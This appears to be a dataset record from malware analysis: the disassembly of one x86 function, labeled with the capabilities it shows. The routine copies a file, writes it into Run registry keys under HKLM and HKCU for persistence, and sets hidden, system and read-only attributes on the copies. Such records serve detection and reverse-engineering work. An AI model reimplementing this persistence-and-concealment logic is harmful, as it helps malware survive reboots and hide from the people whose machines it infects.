Function at 0x4083d4
Capabilities:
Copy file
Persist via run registry key
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x10
push 0
push 0
dec ecx
jne 0x4083dc
push ecx
push ebx
push esi
push edi
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403ab4
xor eax, eax
push ebp
push 0x40892a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.004037a4
mov eax, dword [0x40a0f4]
cmp dword [eax], 0
jne 0x408423
lea eax, [ebp - 8]
call fcn.004066b4
jmp 0x4084bb
mov eax, dword [0x40a0f4]
cmp dword [eax], 1
jne 0x40843a
lea eax, [ebp - 8]
call fcn.00406740
jmp 0x4084bb
mov eax, dword [0x40a0f4]
cmp dword [eax], 2
jne 0x40844e
lea eax, [ebp - 8]
call fcn.004067f8
jmp 0x4084bb
mov eax, dword [0x40a0f4]
cmp dword [eax], 3
jne 0x408462
lea eax, [ebp - 8]
call fcn.0040693c
jmp 0x4084bb
mov eax, dword [0x40a11c]
mov eax, dword [eax]
call fcn.004038c4
mov edx, dword [0x40a11c]
mov edx, dword [edx]
cmp byte [edx + eax - 1], 0x5c
je 0x408491
mov eax, dword [0x40a11c]
mov edx, 0x408940
call fcn.004038cc
mov eax, dword [0x40a11c]
lea eax, [ebp - 8]
mov edx, dword [0x40a11c]
mov edx, dword [edx]
call fcn.004037e8
mov eax, dword [ebp - 8]
call fcn.00403ac4
mov edx, eax
lea eax, [ebp - 0x18]
call fcn.00403870
mov eax, dword [ebp - 0x18]
call fcn.00406cf4
mov eax, dword [ebp - 8]
call fcn.004038c4
mov edx, dword [ebp - 8]
cmp byte [edx + eax - 1], 0x5c
je 0x4084da
lea eax, [ebp - 8]
mov edx, 0x408940
call fcn.004038cc
lea eax, [ebp - 8]
mov edx, dword [0x40a10c]
mov edx, dword [edx]
call fcn.004038cc
mov eax, dword [ebp - 8]
call fcn.004038c4
mov edx, dword [ebp - 8]
cmp byte [edx + eax - 1], 0x5c
je 0x408509
lea eax, [ebp - 8]
mov edx, 0x408940
call fcn.004038cc
mov ecx, dword [0x40a110]
mov ecx, dword [ecx]
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.00403910
mov eax, dword [ebp - 8]
call fcn.00403ac4
mov edx, eax
lea eax, [ebp - 0x1c]
call fcn.00403870
mov eax, dword [ebp - 0x1c]
call fcn.00406cf4
mov eax, dword [ebp - 0xc]
call fcn.00403ac4
mov edx, eax
lea eax, [ebp - 0x20]
call fcn.00403870
mov eax, dword [ebp - 0x20]
call fcn.0040618c
lea eax, [ebp - 0x24]
call fcn.00406350
push dword [ebp - 0x24]
push 0x408940
mov eax, dword [0x40a10c]
push dword [eax]
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.00403984
mov eax, dword [ebp - 0x10]
call fcn.004038c4
mov edx, dword [ebp - 0x10]
cmp byte [edx + eax - 1], 0x5c
je 0x408593
lea eax, [ebp - 0x10]
mov edx, 0x408940
call fcn.004038cc
mov ecx, dword [0x40a110]
mov ecx, dword [ecx]
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00403910
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.00407240
mov eax, dword [ebp - 0x28]
push eax
lea edx, [ebp - 0x2c]
mov eax, dword [ebp - 4]
call fcn.00407240
mov edx, dword [ebp - 0x2c]
pop eax
call fcn.00403a10
je 0x4085f0
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 0x14]
call fcn.00407240
mov eax, dword [ebp - 0x30]
push eax
lea edx, [ebp - 0x34]
mov eax, dword [ebp - 4]
call fcn.00407240
mov edx, dword [ebp - 0x34]
pop eax
call fcn.00403a10
jne 0x4085ff
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.004037a4
jmp 0x40890c
push 0
mov eax, dword [ebp - 0xc]
call fcn.00403ac4
push eax
mov eax, dword [ebp - 4]
call fcn.00403ac4
mov esi, eax
push esi
call sub.kernel32.dll_CopyFileA
cmp eax, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x408630
mov eax, ebx
mov edx, dword [ebp - 0xc]
call fcn.004037a4
jmp 0x40868f
mov eax, dword [ebp - 0x10]
call fcn.00403ac4
mov edx, eax
lea eax, [ebp - 0x38]
call fcn.00403870
mov eax, dword [ebp - 0x38]
call fcn.00406cf4
mov eax, dword [ebp - 0x14]
call fcn.00403ac4
mov edi, eax
mov edx, edi
lea eax, [ebp - 0x3c]
call fcn.00403870
mov eax, dword [ebp - 0x3c]
call fcn.0040618c
push 0
push edi
push esi
call sub.kernel32.dll_CopyFileA
cmp eax, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x408685
mov eax, ebx
mov edx, dword [ebp - 0x14]
call fcn.004037a4
jmp 0x40868f
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.004037a4
mov eax, dword [0x40a0f0]
cmp dword [eax], 0
je 0x40878b
push 0
lea eax, [ebp - 0x40]
push eax
mov eax, dword [0x40a0f0]
mov eax, dword [eax]
call fcn.00403ac4
mov edx, eax
lea eax, [ebp - 0x44]
call fcn.00403870
mov ecx, dword [ebp - 0x44]
mov edx, 0x40894c
mov eax, 0x80000002
call fcn.0040684c
mov eax, dword [ebp - 0x40]
mov edx, dword [ebx]
call fcn.00403a10
je 0x408714
mov eax, dword [ebx]
call fcn.00403ac4
mov edx, eax
lea eax, [ebp - 0x48]
call fcn.00403870
mov eax, dword [ebp - 0x48]
push eax
mov eax, dword [0x40a0f0]
mov eax, dword [eax]
call fcn.00403ac4
mov edx, eax
lea eax, [ebp - 0x4c]
call fcn.00403870
mov ecx, dword [ebp - 0x4c]
mov edx, 0x40894c
mov eax, 0x80000002
call fcn.00406410
push 0
lea eax, [ebp - 0x50]
push eax
mov eax, dword [0x40a0f0]
mov eax, dword [eax]
call fcn.00403ac4
mov edx, eax
lea eax, [ebp - 0x54]
call fcn.00403870
mov ecx, dword [ebp - 0x54]
mov edx, 0x40894c
mov eax, 0x80000001
call fcn.0040684c
mov eax, dword [ebp - 0x50]
mov edx, dword [ebx]
call fcn.00403a10
je 0x40878b
mov eax, dword [ebx]
call fcn.00403ac4
mov edx, eax
lea eax, [ebp - 0x58]
call fcn.00403870
mov eax, dword [ebp - 0x58]
push eax
mov eax, dword [0x40a0f0]
mov eax, dword [eax]
call fcn.00403ac4
mov edx, eax
lea eax, [ebp - 0x5c]
call fcn.00403870
mov ecx, dword [ebp - 0x5c]
mov edx, 0x40894c
mov eax, 0x80000001
call fcn.00406410
mov eax, dword [0x40a0dc]
cmp dword [eax], 0
je 0x40880c
push 0
lea eax, [ebp - 0x60]
push eax
mov eax, dword [0x40a0dc]
mov eax, dword [eax]
call fcn.00403ac4
mov edx, eax
lea eax, [ebp - 0x64]
call fcn.00403870
mov ecx, dword [ebp - 0x64]
mov edx, 0x408994
mov eax, 0x80000002
call fcn.0040684c
mov eax, dword [ebp - 0x60]
mov edx, dword [ebx]
call fcn.00403a10
je 0x40880c
mov eax, dword [ebx]
call fcn.00403ac4
mov edx, eax
lea eax, [ebp - 0x68]
call fcn.00403870
mov eax, dword [ebp - 0x68]
push eax
mov eax, dword [0x40a0dc]
mov eax, dword [eax]
call fcn.00403ac4
mov edx, eax
lea eax, [ebp - 0x6c]
call fcn.00403870
mov ecx, dword [ebp - 0x6c]
mov edx, 0x408994
mov eax, 0x80000002
call fcn.00406410
mov eax, dword [0x40a0e8]
cmp dword [eax], 0
je 0x40888d
push 0
lea eax, [ebp - 0x70]
push eax
mov eax, dword [0x40a0e8]
mov eax, dword [eax]
call fcn.00403ac4
mov edx, eax
lea eax, [ebp - 0x74]
call fcn.00403870
mov ecx, dword [ebp - 0x74]
mov edx, 0x408994
mov eax, 0x80000001
call fcn.0040684c
mov eax, dword [ebp - 0x70]
mov edx, dword [ebx]
call fcn.00403a10
je 0x40888d
mov eax, dword [ebx]
call fcn.00403ac4
mov edx, eax
lea eax, [ebp - 0x78]
call fcn.00403870
mov eax, dword [ebp - 0x78]
push eax
mov eax, dword [0x40a0e8]
mov eax, dword [eax]
call fcn.00403ac4
mov edx, eax
lea eax, [ebp - 0x7c]
call fcn.00403870
mov ecx, dword [ebp - 0x7c]
mov edx, 0x408994
mov eax, 0x80000001
call fcn.00406410
mov eax, dword [0x40a0ec]
cmp dword [eax], 0
je 0x4088c6
push 0x4089c4
mov dl, 1
mov eax, dword [0x408068]
call fcn.004080c0
push eax
mov eax, dword [ebx]
call fcn.00403ac4
push eax
mov eax, dword [0x40a0ec]
mov eax, dword [eax]
call fcn.00403ac4
mov edx, eax
pop ecx
pop eax
call fcn.0040835c
mov eax, dword [0x40a0e0]
cmp byte [eax], 1
jne 0x40890c
push 7
lea edx, [ebp - 0x80]
mov eax, dword [ebp - 8]
call fcn.004060e0
mov eax, dword [ebp - 0x80]
call fcn.00403ac4
push eax
call sub.kernel32.dll_SetFileAttributesA
push 7
lea edx, [ebp - 0x84]
mov eax, dword [ebp - 0x10]
call fcn.004060e0
mov eax, dword [ebp - 0x84]
call fcn.00403ac4
push eax
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408931
lea eax, [ebp - 0x84]
mov edx, 0x21
call fcn.00403774
ret